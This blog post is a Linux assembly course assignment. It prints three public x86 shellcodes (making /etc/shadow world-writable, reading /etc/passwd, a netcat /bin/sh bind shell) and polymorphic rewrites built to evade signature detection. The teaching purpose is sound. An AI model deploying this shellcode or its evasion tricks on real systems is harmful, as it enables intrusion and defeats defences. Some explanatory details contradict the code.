SLAE Assignment #6 – Polymorphic Shellcode

The tasks for assignment 6 were:

  • Take up 3 shellcodes from Shell-­‐Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger 150% of the existing shellcode
  • Bonus points for making it shorter in length than original

Polymorphism, for purposes of this assignment, is to change some of the instructions or strings used by the shellcode so that the shellcode remains functionally the same while avoiding pattern matching that would detect the original shellcode.

chmod /etc/shadow shellcode

The first shellcode I chose to make a polymorphic version of was on that performed “chmod 0777 /etc/shadow”, which makes the /etc/shadow file world readable, writable, and executable. The shellcode can be found here: http://shell-storm.org/shellcode/files/shellcode-828.php

The original shellcode is shown below:

global _start
section .text
_start:
xor eax,eax
push eax
push 0x776f6461
push 0x68732f2f
push 0x6374652f
push eax
push 0x37373730
mov ebp,esp
push eax
push 0x646f6d68
push 0x632f6e69
push word 0x622f
mov ebx,esp
push eax
push esi
push ebp
push ebx
mov ecx,esp
mov edx,eax
mov al,0xb
int 0x80

This shellcode works by using the execve syscall to launch /bin/chmod with the options “0777 /etc//shadow.” GDB was used to analyze the shellcode to confirm this.

The string “/etc//shadow” pushed to the stack:

The string of “0777” pushed to the stack:

And then finally, the string “/bin/chmod” pushed to the stack:

There were two things I decided to change about the code to make it polymorphic and avoid pattern matching:

  • /etc/shadow is a sensitive file, so change the assembly code so this string doesn’t appear directly
  • the execve syscall is commonly used in exploit payloads, so change it so the value “0xb” for execve isn’t directly

To modify the the /etc//shadow string, I first took the original string value from the shellcode and added 0x22222222. The value “0x776f6461” (string of “adow”) from the shellcode would become 0x99918683. Then, the 0x22222222 would be subtracted from the modified value and pushed to the stack. This would make it so that the string “/etc//shadow” would not appear anywhere in the code until it was pushed into memory.

I also decided to change the “push” instructions to something functionally similar to move the values onto the stack. The pushes became “mov dword [esp-(offset)], value”, and then adjusting the value of ESP by subtracting the offset. The modified assembly code is shown below.

mov edi, 0x22222222
mov esi, 0x99918683
sub esi, edi
mov dword [esp-4], esi
mov esi, 0x8a955151
sub esi, edi
mov dword [esp-8], esi
mov esi, 0x85968751
sub esi, edi
mov dword [esp-12], esi
sub esp, 12

To change the execve syscall, instead of having “mov al, 0xb” at the end, I did it in two instructions:

mov al,0x8
add al,0x3

The original shellcode was run with a shellcode runner, which showed that the shellcode length was 58 bytes.

To stay within the requirementsof the assignment, the polymorphic shellcode could be no more than 87 bytes in length. When the polymorphic shellcode was run, it was 85 bytes long, make it just small enough to meet the requirements.

The assembly for the polymorphic version can be found here: https://github.com/FatRodzianko/slae-exam/blob/master/6-polymorphic/828-chmod/poly_828_chmod-shadow.nasm

read /etc/passwd shellcode

The second shellcode I looked at would open and read the /etc/passwd file from a system. The original shellcode can be found here: http://shell-storm.org/shellcode/files/shellcode-842.php

The shellcode makes three syscalls. The first is “sys_open”, to open a file from the system. The second is “sys_read” to read the contents of a file. The third is “sys_exit”, to exit the program gracefully.

The original assembly code is shown below.

global _start
section .text
_start:
xor ecx,ecx
mul ecx
mov al,0x5
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov ebx,esp
int 0x80
xchg ebx,eax
xchg ecx,eax
mov al,0x3
xor edx,edx
mov dx,0xfff
inc edx
int 0x80
xchg edx,eax
xor eax,eax
mov al,0x4
mov bl,0x1
int 0x80
xchg ebx,eax
int 0x80

This shellcode also looks at a sensitive file on the system, /etc/passwd. similar to the chmod shellcode, I wanted to change the values in the code so that the string “/etc/passwd” did not appear. Below you can see the string “//etc/passwd” pushed to the stack.

To modify the “//etc/passwd” string, I did it in a slightly different way than I did for the chmod shellcode. I first took the original string value and subtracted it by 0x11111111. I then pushed that value to the stack. I would then add the dword “0x1” to the vale the ESP register was pointing to. The polymorphic version of the code is shown below.

push 0x64777372
add dword [esp], 0x1
push 0x61702f62
add dword [esp], 0x1
push 0x74652f2e
add dword [esp], 0x1

At the beginning of the original shellcode, it uses the following instructions to make the EAX and ECX registers 0x0 before adding the value 0x5 to EAX.

xor ecx,ecx
mul ecx
mov al,0x5
push ecx

The above shellcode first XOR’s ECX with itself, making it 0x0. It then uses the “mul ecx” instruction. The “mul” instruction will take the value provided in the instruction, and multiply it by the value in EAX. Because this is being done with a 32bit value, the value “0x0” will be multiplied by the value in EAX, and the result will be stored across EDX and EAX. This has the effect of making EAX and EDX 0x0 after the “mul ECX” instruction is executed.

Making the EDX register 0x0 did not appear to be necessary for the functioning of this shellcode. To make this more polymorphic, I changed the shellcode to the following:

xor ecx,ecx
; mul ecx original shellcode
; new shellcode below
mov eax, ecx
; mov al, 0x5 original shellcode
; push ecx original shellcode
push eax
mov al, 0x5

The final change I made to the shellcode was to change “inc edx” to “add edx, 0x1”.

The orignal shellcode was 51 bytes long.

This meant that the polymorphic shellcode could be no more than 76 bytes long. The final polymorphic code was 65 bytes in length.

The assembly code for the polymorphic version can be found here: https://github.com/FatRodzianko/slae-exam/blob/master/6-polymorphic/842-read-passwd/poly-842.nasm

nc -e /bin//sh shellcode

The final shellcode I investigated was to launch a netcat listener on port 17771 and provide a /bin/sh shell. The original shellcode can be found here: http://shell-storm.org/shellcode/files/shellcode-872.php

The original assembly code is shown below.

global _start
section .text
_start:
xor eax, eax
xor edx, edx
push eax
push 0x31373737 ;-vp17771
push 0x3170762d
mov esi, esp
push eax
push 0x68732f2f ;-le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
push eax
push 0x636e2f2f ;/bin//nc
push 0x6e69622f
mov ebx, esp
push edx
push esi
push edi
push ebx
mov ecx, esp
mov al,11
int 0x80

The above assembly code uses the execve syscall to launch /bin/nc to start the netcat listener.

The first thing that is pushed to the stack is the port number to listen on, and the arugments for netcat. I changed this from a string of “-vp17771” to “-vvp8888”, and instead of using “push” instructions, I used the “mov [esp-(offset)], value” method of getting the string onto the stack. This is shown below.

mov dword [esp-4], 0x38383838
mov dword [esp-8], 0x7076762d
sub esp, 0x8
mov esi, esp

The original shellcode XOR’d the values of the EAX and EDX registers with themselves to make both the registers equal to 0x0. In the original shellcode, “push EAX” was often used to push a dword of 0’s onto the stack to terminate strings. In the polymorphic shellcode, I changed this to “push edx” to achieve the same thing.

In the original shellcode, the string “-le//bin//sh” is pushed onto the stack to have the netcat listener provide a /bin/sh shell. In my polymorphic version, I modified the path to /bin/sh by adding in extra “./”‘s. This adds characters to the file path without changing that the system will load the /bin/nc binary. The new string used in the polymorphic shellcode was “-le/.//bin/.//sh.” The push instructions were also changed to use the “mov” instruction with an ESP offset.

mov dword [esp-4], 0x68732f2f
mov dword [esp-8], 0x2e2f6e69
mov dword [esp-12], 0x622f2f2e
mov dword [esp-16], 0x2f656c2d
sub esp, 16

The original shellcode had a length of 58 bytes.

The polymorphic shellcode then needed to be 87 or less bytes in length to meet the requirements of the assignment. The final length of the polymorphic code was 87 bytes.

The assembly code for the polymorphic version can be found here: https://github.com/FatRodzianko/slae-exam/blob/master/6-polymorphic/872-nc-sh/poly-872.nasm

SLAE Student Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/onlinecourses/securitytube-linux-assembly-expert/

Student ID: SLAE- 1373